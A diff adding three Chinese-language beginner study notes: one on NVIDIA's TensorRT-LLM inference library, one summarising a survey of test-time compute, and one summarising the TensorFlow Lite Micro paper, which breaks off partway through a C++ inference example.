@@ -0,0 +1,257 @@
+---
+title: TensorRT-LLM — NVIDIA 开源 LLM 推理优化库零基础笔记
+来源: https://github.com/NVIDIA/TensorRT-LLM
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：连锁奶茶店的后厨
+
+把 LLM 推理想成一家连锁奶茶店。
+
+- **原始 PyTorch 推理**像家庭厨房：一个师傅从头做到尾，杯子、茶叶、冰块各放各的抽屉，客人一多就排队。
+- **TensorRT-LLM**像中央厨房 + 智能叫号系统：茶叶提前拼好（kernel 融合）、冰块按块冷冻（paged KV cache）、新客人不用等前一位喝完就能插队（in-flight batching）、大杯小杯共用一条流水线（continuous batching），门口还能挂 Triton 收银台对外接单。
+
+你端给客人的还是同一杯奶茶（数学结果不变），但后厨的组织方式彻底换了。
+
+**TensorRT-LLM**（全称 *NVIDIA TensorRT-LLM: An Open-Source Library for Optimizing LLM Inference*）就是这套后厨系统：不是新模型，而是把 Hugging Face 权重、PyTorch 算子和 NVIDIA GPU 硬件焊在一起的**推理工程栈**——目标是在 NVIDIA GPU 上跑得更快、更省显存、扛更多并发。
+
+## 为什么重要
+
+零基础学 LLM 部署，绕不开 TensorRT-LLM，原因很实在：
+
+- **厂商官方背书**：NVIDIA 在 H100 / B200 上的 FP8、FP4、Transformer Engine 优化，往往**最先**出现在 TensorRT-LLM，而不是等社区框架慢慢追。
+- **性能天花板对照组**：2024 年后的推理 benchmark（Llama、DeepSeek、Qwen 等）几乎都会列 TRT-LLM 一行——它是"在 NVIDIA 自家硬件上能跑到多快"的参考上限。
+- **生态接口**：和 [[vllm]]、[[sglang-2024]] 并列，但 TRT-LLM 和 **Triton Inference Server**、**NVIDIA Dynamo**、**NeMo** 绑得更紧，适合要上生产的 NVIDIA 栈。
+- **架构已进化**：2023 年刚开源时以"离线编译 TensorRT engine"为主；2025-2026 年的主线已是 **PyTorch-native LLM API**——`LLM(model=...)` 一行起，开发体验和 vLLM 接近，但底层仍是 NVIDIA 定制 kernel。
+
+不理解它，就很难解释：为什么同样一张 H100，不同框架吞吐能差 2-5 倍；为什么 FP8 KV cache 在 TRT-LLM 上"开箱即用"，别的框架却要等社区补 kernel。
+
+## 核心概念
+
+TensorRT-LLM 把推理拆成 **五层积木**，从外到内：
+
+### 1. LLM API（你写的 Python）
+
+高层入口，用法接近 vLLM：
+
+```python
+from tensorrt_llm import LLM, SamplingParams
+
+llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")
+sampling = SamplingParams(temperature=0.8, top_p=0.95)
+for out in llm.generate(["Hello, my name is"], sampling):
+    print(out.outputs[0].text)
+```
+
+接受 Hugging Face 模型 ID、本地路径、或 NVIDIA 量化 checkpoint（如 `nvidia/Llama-3.1-8B-Instruct-FP8`）。单卡到多卡、多节点都走同一套 API。
+
+### 2. 执行后端（Backend）
+
+TRT-LLM 支持三种后端，选型决定"灵活 vs 极致性能 vs 零实现"：
+
+| 后端 | 状态 | 特点 |
+|------|------|------|
+| **PyTorch** | 默认 ✅ | 无需离线编译，灵活，性能优秀 |
+| **TensorRT** | Legacy | AOT 编译 `engine.plan`，极致性能，改模型要重编 |
+| **AutoDeploy** | Beta | 自动图变换，Day-0 支持新 HF 模型 |
+
+```python
+# 默认 PyTorch 后端（推荐）
+llm = LLM(model="meta-llama/Llama-3.1-8B", backend="pytorch")
+
+# 旧路径：TensorRT 编译引擎（适合模型结构已冻结的生产）
+llm = LLM(model="./engines/llama-8b", backend="tensorrt")
+```
+
+### 3. 运行时调度器（Runtime）
+
+负责"怎么同时服务很多用户"：
+
+- **In-Flight Batching（IFB）**：也叫 continuous batching。新请求不必等旧请求生成完，下一步 forward 直接拼进 batch。和 [[orca-continuous-batching]]、[[vllm]] 的调度思想同源。
+- **Paged KV Cache**：把 KV cache 切成固定大小 block，用 page table 间接寻址——显存利用率从"每人预留满血上下文"变成"按需开房"。
+- **Chunked Prefill**：长 prompt 分块做 prefill，避免单次 forward 撑爆显存。
+- **Disaggregated Serving（Beta）**：prefill 和 decode 拆到不同 GPU，类似"点菜厨房"和"出杯窗口"分离。
+
+### 4. 优化 Kernel 层
+
+NVIDIA 手写或生成的 CUDA kernel，吃满硬件特性：
+
+- **Kernel Fusion**：LayerNorm + GEMM + bias + activation 合成一次 launch，少写 HBM。
+- **Custom Attention**：Flash Attention 变体、FP8 attention（Hopper+）、GQA/MQA 专用路径。
+- **量化 Kernel**：FP8 / FP4 / INT8 SmoothQuant / INT4 AWQ，权重和 KV cache 都可降精度。
+- **MoE 优化**：Wide Expert Parallelism，大专家模型跨卡切分。
+
+### 5. 服务层（Triton / Dynamo）
+
+生产部署时，TRT-LLM 常挂在 **Triton Inference Server** 后面，对外暴露 HTTP/gRPC。`tensorrtllm_backend` 把 IFB 调度嵌进 Triton 的多模型、多实例框架。NVIDIA Dynamo 则做更大规模的分布式推理编排。
+
+---
+
+**三条主线串起来**：LLM API 让你**用起来简单** → Runtime 让你**并发高** → Kernel 让你**单 token 快** → 服务层让你**能上线**。
+
+## 实践案例
+
+### 案例 1：最小可运行推理（LLM API）
+
+官方 Quick Start 的精简版，适合第一次验证环境：
+
+```python
+from tensorrt_llm import LLM, SamplingParams
+
+
+def main():
+    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")
+
+    prompts = [
+        "Hello, my name is",
+        "The capital of France is",
+        "The future of AI is",
+    ]
+    sampling_params = SamplingParams(temperature=0.8, top_p=0.95)
+
+    for output in llm.generate(prompts, sampling_params):
+        print(f"Prompt: {output.prompt!r}")
+        print(f"Generated: {output.outputs[0].text!r}\n")
+
+
+if __name__ == "__main__":
+    main()
+```
+
+注意：`LLM` 会拉起后台线程和 MPI 进程，**必须把逻辑包在函数里**，并用 `if __name__ == "__main__"` 保护入口，否则多卡时 `mpi4py` 可能递归 spawn 挂死。
+
+### 案例 2：多卡张量并行（Tensor Parallelism）
+
+单机多 GPU 时，不必手写 `mpirun` 前缀——LLM API 内部处理：
+
+```python
+from tensorrt_llm import LLM, SamplingParams
+
+# tp_size=4 表示 4 张 GPU 做张量并行，把大模型切开
+llm = LLM(
+    model="meta-llama/Llama-3.1-70B",
+    tensor_parallel_size=4,
+)
+
+outputs = llm.generate(
+    ["用三句话解释量子纠缠。"],
+    SamplingParams(max_tokens=128, temperature=0.7),
+)
+print(outputs[0].outputs[0].text)
+```
+
+张量并行（TP）把每一层的权重矩阵按列或按行切到多张卡；流水线并行（PP）按层切；专家并行（EP）专给 MoE 模型。TRT-LLM 的 Model Definition API 和 LLM API 都内置这些策略。
+
+### 案例 3：Legacy 路径——离线 build TensorRT 引擎
+
+如果你走旧版 TensorRT 后端，流程是"先编译、再加载"：
+
+```bash
+# 1. 量化（可选，H100 上 FP8 收益大）
+python quantize.py \
+  --model_dir ./llama-2-7b-hf \
+  --qformat fp8 \
+  --kv_cache_dtype fp8 \
+  --output_dir ./fp8-ckpt
+
+# 2. 编译 engine（耗时：7B 约 5-15 分钟，70B 可达半小时）
+python build.py \
+  --checkpoint_dir ./fp8-ckpt \
+  --use_inflight_batching \
+  --paged_kv_cache \
+  --output_dir ./engines/llama2-7b-fp8
+```
+
+```python
+from tensorrt_llm.runtime import ModelRunner
+
+runner = ModelRunner.from_dir("./engines/llama2-7b-fp8")
+result = runner.generate(["介绍一下量子计算。"], max_new_tokens=128)
+print(result)
+```
+
+`engine.plan` **绑定编译时的 GPU 架构**——A100 编的不能直接拿到 H100 跑，换卡要重编。这是 TensorRT 后端和 PyTorch 后端最大的体验差异。
+
+### 案例 4：投机解码（Speculative Decoding）
+
+用草稿模型或小模型先猜几个 token，大模型一次验证多个，降低每 token 延迟：
+
+```python
+from tensorrt_llm import LLM, SamplingParams
+
+llm = LLM(
+    model="meta-llama/Llama-3.1-8B",
+    speculative_model="meta-llama/Llama-3.2-1B",  # 草稿模型
+    speculative_decode_max_draft_len=5,
+)
+
+out = llm.generate(
+    "写一首关于星空的短诗：",
+    SamplingParams(max_tokens=200),
+)
+print(out[0].outputs[0].text)
+```
+
+TRT-LLM 支持 EAGLE、MTP、N-gram 等多种投机策略；在延迟敏感场景（聊天机器人首字后的流式输出）收益明显。
+
+## 和 vLLM 怎么选
+
+| 维度 | TensorRT-LLM | vLLM |
+|------|--------------|------|
+| 硬件 | NVIDIA GPU 专属 | NVIDIA 为主，也支持 AMD 等 |
+| 上手 | LLM API 已简化；Legacy 路径仍要 build | `LLM(model=...)` 改完即跑 |
+| 极致性能 | H100/B200 上 FP8/FP4 官方路径成熟 | 社区驱动，追得快但厂商特性滞后 |
+| 可 hack 性 | PyTorch 后端改善中；深定制仍要 C++ plugin | Python 改调度/kernel 门槛低 |
+| 生产配套 | Triton + Dynamo + NeMo 一条龙 | 自带 OpenAI 兼容 server，生态广 |
+
+常见路径：**研究 / 快速迭代用 vLLM，上线 NVIDIA 集群再切 TRT-LLM 榨最后 30-50% 性能**。
+
+## 踩过的坑
+
+1. **engine 不可移植**：TensorRT 后端的 `engine.plan` 和 GPU 架构、TRT 版本、TP/PP 配置绑定。CI 应存 checkpoint + build 脚本，而不是存 engine 二进制。
+
+2. **mpi4py 入口保护**：多卡必须把 `LLM(...)` 放在函数内，并加 `if __name__ == "__main__"`，否则 Slurm / Docker 环境容易挂死或 `MPI_ABORT`。
+
+3. **Docker 网络**：`docker run --net=host` 有时和 MPI 冲突，可改 `--ipc=host` 或设 `OMPI_MCA_btl_tcp_if_include=lo`。
+
+4. **进程退不干净**：`LLM` 实例持有后台线程，引用计数可能不归零。用 `with LLM(...) as llm:` 上下文管理器，或把推理包在函数里让对象析构。
+
+5. **别把 Triton 和 OpenAI Triton 搞混**：服务层的 Triton Inference Server 是 NVIDIA 推理服务器；[[triton-2019]] 是 GPU kernel 语言 DSL——名字像，完全不是一回事。
+
+## 历史脉络（可跳过）
+
+- **2017**：TensorRT 发布，主攻 CV 模型推理编译。
+- **2021**：[[fastertransformer-2021]] 开源，提供极致 Transformer CUDA kernel，但没有调度层。
+- **2023-10**：TensorRT-LLM 开源，整合 TRT 编译 + FT kernel + IFB + Triton 服务。
+- **2024**：吸收社区 PagedAttention 思路；FP8、投机解码、多 LoRA 持续迭代。
+- **2025-2026**：架构转向 **PyTorch-native**，LLM API 成为默认入口；AutoDeploy 实验后端追求 Day-0 新模型支持；Blackwell（B200）上 FP4、DeepSeek-R1 等成为 showcase。
+
+## 学到什么
+
+1. **TensorRT-LLM 是"推理工程栈"，不是模型**：它优化的是同一份权重在 GPU 上怎么跑、怎么调度、怎么服务。
+2. **性能来自三层叠加**：kernel 级（融合、量化、定制 attention）+ 运行时级（IFB、paged KV、投机解码）+ 系统级（多卡并行、disaggregated serving）。
+3. **后端选型决定开发体验**：PyTorch 后端适合日常；TensorRT 后端适合冻结模型后的极致压榨。
+4. **开源社区和厂商互相借力**：continuous batching、paged KV 等思想先在 Orca / vLLM 趟路，TRT-LLM 以 IFB / paged KV cache 集成进官方栈并叠加硬件特化。
+
+## 延伸阅读
+
+- 官方仓库：[NVIDIA/TensorRT-LLM](https://github.com/NVIDIA/TensorRT-LLM)
+- 官方文档：[Overview](https://nvidia.github.io/TensorRT-LLM/latest/overview.html) · [LLM API](https://nvidia.github.io/TensorRT-LLM/latest/llm-api/index.html) · [Execution Backends](https://nvidia.github.io/TensorRT-LLM/latest/concepts/backends.html)
+- NVIDIA 技术博客：[Optimizing Inference on LLMs with TensorRT-LLM](https://developer.nvidia.com/blog/optimizing-inference-on-llms-with-tensorrt-llm-now-publicly-available/)
+- [[tensorrt-llm-2023]] —— 本仓库内 2023 年视角的 TRT-LLM 笔记（偏 Legacy build 流程）
+- [[vllm]] —— 开源对照组，PagedAttention 与 continuous batching 的标杆实现
+- [[fastertransformer-2021]] —— TRT-LLM kernel 层的重要前身
+- [[flash-attention]] —— attention kernel 优化的理论基础，TRT-LLM 内置多种变体
+- [[orca-continuous-batching]] —— IFB 调度思想的学术源头
+
+## 关联
+
+- [[tensorrt-llm-2023]] —— 同主题早期笔记，侧重 AOT 编译与 IFB 初版
+- [[vllm]] —— PagedAttention 开源实现，TRT-LLM 运行时吸收同类机制
+- [[fastertransformer-2021]] —— CUDA kernel 遗产，构成 TRT-LLM 算子层底座
+- [[sglang-2024]] —— 另一套高性能 LLM 服务框架，常与 TRT-LLM 并列 benchmark
+- [[triton-2019]] —— GPU kernel DSL（勿与 Triton Inference Server 混淆）
+- [[eagle]] —— 投机解码代表算法，TRT-LLM 已内置 EAGLE 路径
diff --git a/src/content/docs/papers/test-time-compute-survey.md b/src/content/docs/papers/test-time-compute-survey.md
new file mode 100644
index 000000000..ef7309cc4
--- /dev/null
+++ b/src/content/docs/papers/test-time-compute-survey.md
@@ -0,0 +1,225 @@
+---
+title: A Survey of Test-Time Compute: From Intuitive Inference to Deliberate Reasoning
+来源: https://arxiv.org/abs/2501.02497
+日期: 2026-06-13
+分类: 机器学习
+子分类: 推理计算
+provenance: pipeline-v3
+---
+
+# A Survey of Test-Time Compute: From Intuitive Inference to Deliberate Reasoning
+
+> 作者：Yixin Ji, Juntao Li, Yang Xiang, Hai Ye, Kaixin Wu, Kai Yao, Jia Xu, Linjian Mo, Min Zhang
+> 来源：arXiv 2501.02497 (v3, 2025-06-29)
+
+## 核心概念：什么是"测试时计算"？
+
+先问一个问题：你小时候做数学题，有两种状态。
+
+第一种：题目简单，你一看就知道答案。这是"直觉反应"。
+第二种：题目很难，你要在草稿纸上一步步推导，甚至推翻重来。这是"深度思考"。
+
+测试时计算（Test-Time Compute）就是让 AI 模型在面对难题时，能进入第二种状态——多花一些计算时间，多想一会儿，从而给出更好的答案。
+
+过去我们训练模型时，用的是"训练时计算"（训练时花大量算力和数据）。测试时计算的意思是：模型训练完了，但用的时候不是"秒回"，而是允许它多花时间去推理。
+
+OpenAI 的 o1 模型就是典型代表。它面对复杂数学题时，会自己生成一步步的推理过程，甚至自我检查、自我纠正。这就是从 System-1（直觉推理）走向 System-2（深思推理）的过程。
+
+## 两个系统：System-1 vs System-2
+
+这个概念来自心理学家丹尼尔·卡尼曼的著作《思考，快与慢》。
+
+- **System-1（快思考）**：直觉式、快速、自动。就像你看到"2+2="，你马上反应出"4"。对应的模型能直接给出答案，但面对复杂任务容易出错。
+- **System-2（慢思考）**：分析式、缓慢、需要努力。就像你面对一道微积分题，你必须一步步来。对应的模型会生成中间推理步骤，逐个验证。
+
+论文的核心主线就是：测试时计算如何推动 AI 从 System-1 走向 System-2。
+
+## 第一部分：System-1 的测试时适应（TTA）
+
+在模型还是"直觉型"的时候，测试时计算也有用武之地。论文把它分为四类方法。
+
+### 1. 更新模型参数
+
+在推理过程中，用小批量测试样本来微调模型参数，让它适应当前输入的数据分布。
+
+- **TTT（Test-Time Training）**：训练时加入辅助任务（比如旋转图片预测），推理时利用辅助任务的损失来指导参数更新。
+- **Tent（Fully TTA）**：直接用模型预测的"不确定性"（熵）作为信号来更新参数。模型越不确定，熵越大，更新幅度也越大。
+
+**关键挑战**：模型越大（比如 LLM），参数更新越慢，甚至不现实。
+
+```python
+# 伪代码：Tent 方法的思想
+# 模型对输入的预测概率分布为 p
+entropy = -sum(p * log(p))
+
+# 熵越大，说明模型越"困惑"
+# 用熵作为损失函数来更新少量参数（如归一化层）
+loss = entropy
+update_model_parameters(loss, learning_rate=0.001)
+```
+
+### 2. 修改输入
+
+不用改模型，改输入。对 LLM 来说，这就是在测试样本前加几个"示例"（示范），利用模型的上下文学习能力（In-Context Learning, ICL）。
+
+- 选择与测试样本最相似的示例
+- 按最佳顺序排列这些示例
+
+### 3. 编辑内部表示
+
+大模型的"中间层"其实已经包含了有用知识，只是没能有效传递到输出。这个思路是在推理时，直接修改模型内部的"中间状态"。
+
+方法举例：给模型一个正面提示和一个负面提示，计算它们表示的差值（称为"导向向量"），加到中间层上，让输出朝期望的方向偏移。
+
+### 4. 校准输出
+
+用外部信息校准模型的输出概率。最经典的是 kNN-MT（k 近邻机器翻译）：
+
+- 维护一个存储了训练数据表示的"记忆库"
+- 推理时，找到与当前输入最近的 k 个邻居
+- 将邻居的答案与模型自己的预测按权重融合
+
+```python
+# 伪代码：kNN-MT 校准思想
+def calibrate_output(model, query, datastore, k=10):
+    # 从记忆库中检索最近的 k 个样本
+    neighbors = datastore.knn_search(query, k=k)
+    
+    # 获取邻居的答案分布
+    neighbor_probs = compute_neighbor_distribution(neighbors)
+    
+    # 获取模型自己的预测分布
+    model_probs = model.predict(query)
+    
+    # 加权融合
+    alpha = 0.5
+    calibrated_probs = alpha * model_probs + (1 - alpha) * neighbor_probs
+    return calibrated_probs
+```
+
+## 第二部分：System-2 的测试时推理
+
+进入 LLM 时代后，测试时计算的核心任务变成了增强推理能力。这是论文的重点，分为两块：反馈建模 + 搜索策略。
+
+### 1. 反馈建模（给推理过程打分）
+
+就像考试后要批改试卷，模型生成推理过程后，也需要有人来判断"这一步对不对"。
+
+- **ORM（结果验证器）**：只看最终答案对不对。简单，但无法定位中间步骤的错误。
+- **PRM（过程验证器）**：对每一步推理都打分，精确到每个推理步骤。更准确，但标注成本更高。
+
+```python
+# 伪代码：ORM vs PRM 的区别
+def verify_answer_orm(final_answer):
+    """只看最终结果"""
+    return final_answer == ground_truth
+
+def verify_answer_prm(reasoning_steps):
+    """对每一步推理都打分"""
+    scores = []
+    for step in reasoning_steps:
+        score = process_verifier.evaluate(step)
+        scores.append(score)
+    # 返回每一步的分数，可以定位哪一步出错
+    return scores
+```
+
+### 2. 搜索策略（让模型多想想）
+
+有三种主要方法，对应人类思考的不同方式。
+
+#### 方法 A：重复采样
+
+从模型中多次生成答案，选最好的那个。就像一个人想了很多次，最后选最满意的答案。
+
+- 对应方法：多数投票（Majority Voting）、SC-CoT
+- 原理：模型每次生成都有随机性，多试几次能碰上好答案
+
+#### 方法 B：自我纠正
+
+模型生成答案后，回头自己检查、发现自己错了、修正它。
+
+- 对应方法：Self-Correct、Reflexion、Shepherd
+- 原理：让模型扮演自己的"批评者"，检查自己的推理过程
+
+```python
+# 伪代码：自我纠正流程
+def self_correct_model(model, question, max_iterations=3):
+    for i in range(max_iterations):
+        # 第一步：生成答案和推理过程
+        reasoning = model.generate(question)
+        
+        # 第二步：用验证器检查每一步
+        scores = process_verifier.evaluate(reasoning)
+        
+        # 第三步：如果有步骤得分低，说明有误
+        if has_error(scores):
+            # 生成纠正后的推理
+            feedback = generate_feedback(scores)
+            question = f"{question} (Previous reasoning had errors. {feedback} Please correct.)"
+            question = reasoning + "\n" + question  # 追加到上下文中
+        else:
+            # 全部通过，返回答案
+            return reasoning
+    return reasoning  # 达到最大迭代次数，仍返回最终结果
+```
+
+#### 方法 C：树搜索
+
+把推理过程想象成一棵树，模型在每个节点探索多种可能的下一步，然后搜索最优路径。
+
+- 对应方法：ToT（Tree of Thoughts）、RAP、MCTS
+- 原理：人类思考时会"分支"——想到多条路，如果走不通就回溯换一条
+
+```python
+# 伪代码：树搜索思路（简化版）
+def tree_search(model, question, max_depth=5, branching_factor=3):
+    # 根节点 = 问题
+    root = Node(question)
+    queue = [root]
+    
+    while queue:
+        current = queue.pop(0)
+        
+        # 在每个节点，生成多个可能的推理分支
+        children = []
+        for _ in range(branching_factor):
+            child_text = model.generate(current.text + " -> ")
+            children.append(Node(child_text))
+        
+        # 用验证器给每个分支打分
+        for child in children:
+            child.score = verifier.evaluate(child.text)
+        
+        # 选择分数最高的分支继续扩展
+        best_child = max(children, key=lambda c: c.score)
+        if best_child.score > threshold:
+            queue.append(best_child)
+        else:
+            break  # 分数太低，回溯
+    
+    # 返回路径上得分最高的节点
+    return find_best_path(root)
+```
+
+## 第三部分：为什么这个研究很重要？
+
+论文指出几个关键趋势：
+
+1. **训练时算力越来越稀缺**：高质量训练数据快用完了，模型再变大也不划算
+2. **System-1 模型的局限性**：直接输出答案的模式在面对复杂任务时表现很差
+3. **测试时算力是可替代路径**：既然训练时加料困难，不如在推理时多花算力
+
+这就像学生考试——如果你平时没好好读书（训练数据不足），考试时多花点时间思考（测试时计算），也能答出更好的卷子。
+
+## 未来方向
+
+论文提到三个重要方向：
+
+- **测试时扩展定律（Test-Time Scaling Law）**：测试时计算量和模型性能之间是否存在类似训练时扩展定律的关系？
+- **策略组合**：上述各种方法（采样、纠正、搜索）如何组合使用效果更好？
+- **新范式**：能否设计全新的测试时计算方式，突破现有框架？
+
+---
+
+*本文基于论文 arXiv:2501.02497 撰写，旨在帮助零基础学习者理解"测试时计算"的核心概念。*
diff --git a/src/content/docs/papers/tflite-micro-2021.md b/src/content/docs/papers/tflite-micro-2021.md
new file mode 100644
index 000000000..e6a19322d
--- /dev/null
+++ b/src/content/docs/papers/tflite-micro-2021.md
@@ -0,0 +1,265 @@
+---
+title: TensorFlow Lite Micro — 把深度学习塞进微控制器的推理框架（论文笔记）
+来源: https://arxiv.org/abs/2010.08678
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你在一家**连锁便利店**总部工作，要把同一套「识别顾客是否说了暗号」的流程，部署到全球几千家**只有一张小桌子、没有仓库管理员**的微型分店：
+
+- 每家店的**电路和货架布局**都不一样（ARM、Xtensa、RISC-V、有无 FPU、有无文件系统）。
+- 分店**不能运行时打电话要内存**——没有 `malloc`，没有虚拟内存，SRAM 常常只有几百 KB。
+- 但总部希望**只训练一次模型**，用同一套「操作手册」在各家店放映，而不是为每家店手写一份专用机器码。
+
+**TensorFlow Lite Micro（TFLM）** 就是这篇论文（David 等，MLSys 2021；arXiv [2010.08678](https://arxiv.org/abs/2010.08678)）提出的那套「连锁放映系统」：在极度受限的嵌入式设备上跑深度学习**推理**，用**解释器 + FlatBuffer 模型 + 预分配内存竞技场**，在可移植性与性能之间为 TinyML 找到折中。
+
+论文作者来自 Google 与 Harvard，核心论点不是「MCU 上也能跑神经网络」这么简单，而是：**嵌入式生态的碎片化与资源天花板，让传统「编译成专用二进制」和「桌面式 ML 框架」都走不通**——需要专门为 TinyML 重新设计运行时。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 问题域 | TinyML：在微控制器 / DSP 上做**本地推理**（关键词唤醒、传感器分类、轻量视觉等） |
+| 核心对象 | 开源推理框架 TFLM，从 TensorFlow Lite 工具链导出 `.tflite`，在设备上用 `MicroInterpreter` 执行 |
+| 主要挑战 | 无动态内存、无统一 ISA、Flash/RAM 极小、训练框架算子远多于可部署子集 |
+| 设计选择 | **解释器**而非全图代码生成；**单块 tensor arena**；**按需注册算子**；**Bag of Files** 构建 |
+| 评估结论 | 解释器开销相对卷积等大算子可忽略（VWW 上 <0.1%）；CMSIS-NN 等优化内核可带来 4×–7.7× 加速 |
+
+全球有超过 **2500 亿**颗微控制器（论文引用 IC Insights 2020），而典型 MCU 与手机 SoC 在算力、内存、功耗上相差 **100×–1000×**。论文用「关键词检测」作为最广为人知的落地例：Amazon、Apple、Google 等在数十亿设备上跑常开的小网络——但在此之前，每个团队往往为每块芯片写**一次性框架**，移植成本极高。
+
+## 为什么嵌入式 ML 特别难
+
+论文第 2 节把障碍归纳为四类，零基础读者可以记成一张检查表：
+
+### 1. 缺「现代程序员以为理所当然」的功能
+
+很多 MCU **没有**：动态内存分配、虚拟内存、完整操作系统、标准文件系统、浮点硬件。框架若默认依赖这些能力，可移植性立刻崩塌。
+
+### 2. 市场极度碎片化
+
+嵌入式为省电、省成本会**激进定制 ISA**（甚至厂商允许客户加自定义指令）。工具链、IDE 常闭源且按芯片授权。结果是：**没有一个团队能靠一套预编译二进制覆盖主流 MCU**。
+
+### 3. 资源硬顶
+
+论文给出的量级感：
+
+- 「大」嵌入式：Flash 数 MB、SRAM 约 1 MB。
+- 「小」嵌入式：总共只有**几百 KB** ROM+RAM 要分着用。
+
+训练时一个 float 模型轻松 MB 级；上板必须量化、剪枝、算子裁剪，且**代码体积**本身也要极简。
+
+### 4. 深度学习本身还在快速变化
+
+TensorFlow 训练侧有 **1400+** 算子，而部署到边缘的 TensorFlow Lite 只支持约 **130** 个。新论文层出不穷，产品方希望「换模型不重写运行时」——这推高了框架**灵活更新**的需求，与「为每颗芯片生成静态代码」形成张力。
+
+## 四条设计原则（论文第 3 节）
+
+### 原则 1：功能范围极小 → 可移植
+
+TFLM **只负责**：给定已在内存中的模型、输入张量、输出张量，完成前向计算。
+
+**故意不做**：从文件系统加载模型、直接读传感器、线程调度。加载模型、采数、点灯都是**应用代码**的事。ML 模型是**纯函数**（无副作用），这让「瘦运行时」成为可能。
+
+### 原则 2：让芯片厂商能贡献优化内核
+
+Arm（CMSIS-NN）、Cadence、Ceva、Synopsys 等可为自家内核提交优化实现。框架保留**参考内核**（可读、可移植），构建时用 `TAGS=cmsis-nn` 等**替换**为平台专用版本，无需重写编译器。
+
+### 原则 3：复用 TensorFlow Lite 导出链
+
+训练仍在 PC/云端完成，经 **TFLite Converter** 得到 FlatBuffer（图 1：Training Graph → Exporter → `.tflite`）。TFLM 直接消费同一序列化格式，避免再造一套模型转换器。
+
+### 原则 4：「一袋文件」（Bag of Files）构建
+
+不假设复杂构建特性（主机端代码生成、随意宏定义等）。理想状态：厂商把源码拖进自家 IDE 就能编过——这对碎片化工具链至关重要。
+
+## 核心概念：从模型到一次 `Invoke()`
+
+论文第 4 节实现可概括为 **五步流水线**：
+
+```
+1. GetModel()        → 解析 Flash 里的 FlatBuffer
+2. OpResolver        → 只链接本模型用到的算子
+3. tensor_arena      → 应用提供一块连续 uint8 缓冲区
+4. AllocateTensors() → 初始化阶段完成所有内存规划（之后不再分配）
+5. Invoke()          → 按拓扑序执行算子，写输入 / 读输出
+```
+
+### FlatBuffer 模型
+
+- 序列化格式来自 TensorFlow Lite；访问器代码 **<2 KB**。
+- **零拷贝**：不需要先解压成另一套结构。
+- 多数 MCU **没有文件系统**：`.tflite` 用 `xxd` 等转成 `unsigned char g_model[]` 链进固件。
+
+### 解释器 vs 代码生成
+
+| 方式 | 优点 | 缺点 |
+|------|------|------|
+| **解释器（TFLM 选择）** | 换模型常只需换 Flash 里的数组；多模型共享同一份运行时代码 | 每层有少量调度开销 |
+| **代码生成** | 理论上更快 | 换模型要重编整个固件；架构/权重 baked 进二进制 |
+
+论文的关键洞察：ML 推理时间主要在**大内核**（卷积、全连接）里，解释器分支开销可被摊薄——第 5 节数据支持这一点。
+
+### Tensor Arena 与双栈分配
+
+应用传入固定大小的 `tensor_arena`。初始化时：
+
+- **Tail 栈**（从高地址向下）：解释器生命周期内的持久区（元数据等）。
+- **Head 栈**（从低地址向上）：单次 `Invoke` 可用的临时区。
+- 中间空隙可在**内存规划**阶段做临时分配。
+
+**Memory Planner** 对中间张量做**生命周期复用**（类似 bin packing）：若张量 A 的输出只被算子 3 用到，而算子 5 才需要张量 B，两者可重叠同一块 RAM。论文图 4 对比了朴素分配与打包后的占用。
+
+推理阶段**禁止再分配**，避免长跑固件因堆碎片崩溃。
+
+### MicroMutableOpResolver
+
+全量算子表会撑大 Flash。开发者声明「本模型最多 N 种 op」，只 `AddConv2D()`、`AddFullyConnected()` 等——**链接器只拉进需要的内核**。
+
+### 多租户（Multitenancy）
+
+若多个模型**不同时运行**，可共享一块 arena：非持久区取各模型需求的**最大值**，持久区按模型叠在 Tail。适合「一个固件里多套专用小模型」的产品形态。
+
+## 代码示例一：主机端训练并导出 TFLite
+
+论文强调训练与部署分离。下面是与官方 Hello World / 论文工作流一致的**最小 Python 路径**（在 PC 上完成）：
+
+```python
+import numpy as np
+import tensorflow as tf
+
+# 1. 用 sin 曲线训练一个极小全连接网络（类比关键词/传感器回归任务）
+x = np.linspace(0, 2 * np.pi, 1000, dtype=np.float32).reshape(-1, 1)
+y = np.sin(x).astype(np.float32)
+
+model = tf.keras.Sequential([
+    tf.keras.layers.Input(shape=(1,)),
+    tf.keras.layers.Dense(8, activation="relu"),
+    tf.keras.layers.Dense(1),
+])
+model.compile(optimizer="adam", loss="mse")
+model.fit(x, y, epochs=200, verbose=0)
+
+# 2. 导出 SavedModel → FlatBuffer（.tflite）
+tf.saved_model.save(model, "/tmp/sin_saved")
+converter = tf.lite.TFLiteConverter.from_saved_model("/tmp/sin_saved")
+
+# 3. 可选：MCU 上更常用 int8 全量化（论文 3.3 节讨论量化导出复杂度）
+converter.optimizations = [tf.lite.Optimize.DEFAULT]
+converter.representative_dataset = lambda: [x[:100]]
+converter.target_spec.supported_ops = [tf.lite.OpsSet.TFLITE_BUILTINS_INT8]
+converter.inference_input_type = tf.int8
+converter.inference_output_type = tf.int8
+tflite_int8 = converter.convert()
+
+open("/tmp/hello_world_float.tflite", "wb").write(
+    tf.lite.TFLiteConverter.from_saved_model("/tmp/sin_saved").convert()
+)
+open("/tmp/hello_world_int8.tflite", "wb").write(tflite_int8)
+```
+
+随后用 `xxd -i hello_world_int8.tflite > model.cc` 把模型嵌进固件——对应论文 4.3.1「无文件系统时把 FlatBuffer 编成 C 数组」。
+
+## 代码示例二：MCU 上的 MicroInterpreter 推理闭环
+
+下列 C++ 浓缩了论文 4.1 节「四步初始化 + Invoke」的设备端形态（与 [tensorflow/tflite-micro](https://github.com/tensorflow/tflite-micro) Hello World 一致）：
+
+```cpp
+#include "tensorflow/lite/micro/micro_interpreter.h"
+#include "tensorflow/lite/micro/micro_mutable_op_resolver.h"
+#include "tensorflow/lite/micro/micro_error_reporter.h"
+#include "tensorflow/lite/schema/schema_generated.h"
+#include "tensorflow/lite/version.h"
+#include "model.h"  // g_model[] 由 xxd 从 .tflite 生成
+
+void RunInference() {
+  tflite::MicroErrorReporter error_reporter;
+
+  const tflite::Model* model = tflite::GetModel(g_model);
+  if (model->version() != TFLITE_SCHEMA_VERSION) return;
+
